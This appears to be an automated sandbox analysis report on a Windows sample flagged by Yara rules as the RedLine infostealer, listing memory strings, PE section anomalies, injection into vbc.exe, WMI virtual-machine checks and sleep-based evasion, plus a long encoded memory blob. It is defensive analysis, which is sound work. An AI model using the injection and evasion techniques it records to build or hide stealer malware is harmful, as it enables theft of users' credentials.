Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: vbc.exe, 00000002.00000002.418519466.00000000069C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.o
Source: vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: hy4iXHZVJ4.exe, 00000000.00000002.328701163.000000000084C000.00000004.00000010.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: hy4iXHZVJ4.exe	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.hy4iXHZVJ4.exe.84d658.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.3.hy4iXHZVJ4.exe.9d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.hy4iXHZVJ4.exe.84d658.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen

PE file has nameless sections

Source: hy4iXHZVJ4.exe	Static PE information: section name:
Source: hy4iXHZVJ4.exe	Static PE information: section name:

PE file contains section with special chars

Source: hy4iXHZVJ4.exe	Static PE information: section name: .t0:
Source: hy4iXHZVJ4.exe	Static PE information: section name: +
Source: hy4iXHZVJ4.exe	Static PE information: section name: "

Source: hy4iXHZVJ4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: 0.2.hy4iXHZVJ4.exe.84d658.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.3.hy4iXHZVJ4.exe.9d0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.hy4iXHZVJ4.exe.84d658.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_00437048	0_2_00437048
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_0043D410	0_2_0043D410
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_004414D0	0_2_004414D0
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_00445670	0_2_00445670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0097F100	2_2_0097F100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0097E3C8	2_2_0097E3C8

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: String function: 00483900 appears 464 times
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: String function: 004B2FC0 appears 63 times

Source: hy4iXHZVJ4.exe, 00000000.00000002.328769023.000000000086F000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUndressed.exeH vs hy4iXHZVJ4.exe

Source: hy4iXHZVJ4.exe

Static PE information: Number of sections : 14 > 10

Source: hy4iXHZVJ4.exe	Static PE information: Section: i ZLIB complexity 1.0003484650330396
Source: hy4iXHZVJ4.exe	Static PE information: Section: + ZLIB complexity 1.0003328195067265
Source: hy4iXHZVJ4.exe	Static PE information: Section: ZLIB complexity 1.0003365822208738
Source: hy4iXHZVJ4.exe	Static PE information: Section: ZLIB complexity 1.0003470428719008
Source: hy4iXHZVJ4.exe	Static PE information: Section: " ZLIB complexity 1.000342793367347

Source: hy4iXHZVJ4.exe	ReversingLabs: Detection: 88%
Source: hy4iXHZVJ4.exe	Virustotal: Detection: 62%

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\hy4iXHZVJ4.exe C:\Users\user\Desktop\hy4iXHZVJ4.exe
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Microsoft\Wind?ws

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/2@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6096:120:WilError_01

Source: hy4iXHZVJ4.exe

Static file information: File size 2566656 > 1048576

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_0043F04E push ecx; iretd		0_2_0043F054
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_004AF3D0 push eax; mov dword ptr [esp], esi		0_2_004C4B4D

Source: hy4iXHZVJ4.exe	Static PE information: section name: .eh_fram
Source: hy4iXHZVJ4.exe	Static PE information: section name: .t0:
Source: hy4iXHZVJ4.exe	Static PE information: section name: i
Source: hy4iXHZVJ4.exe	Static PE information: section name: +
Source: hy4iXHZVJ4.exe	Static PE information: section name:
Source: hy4iXHZVJ4.exe	Static PE information: section name:
Source: hy4iXHZVJ4.exe	Static PE information: section name: "

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe

Code function: 0_2_004014E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004014E0

Source: hy4iXHZVJ4.exe

Static PE information: real checksum: 0x161abe should be: 0x282148

Source: initial sample

Static PE information: section name: .t0: entropy: 7.29371619924177

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 104240	Thread sleep time: -1844674407370954s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 104248	Thread sleep count: 9614 > 30			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Window / User API: threadDelayed 9614

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe

API coverage: 7.0 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: vbc.exe, 00000002.00000002.415397988.0000000000852000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: vbc.exe, 00000002.00000002.422072910.0000000006D5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: vbc.exe, 00000002.00000002.415397988.0000000000852000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware5YUDEXMDWin32_VideoControllerFNLOBMHYVideoController120060621000000.000000-00050850344display.infMSBDAWE1LHDLNPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors34LK7PPH
Source: vbc.exe, 00000002.00000002.415775129.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe

Code function: 0_2_004014E0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_004014E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_0040119B SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,		0_2_0040119B
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Code function: 0_2_004013C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,		0_2_004013C9

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 420000			Jump to behavior
Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 263008			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 420000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\hy4iXHZVJ4.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Jump to behavior

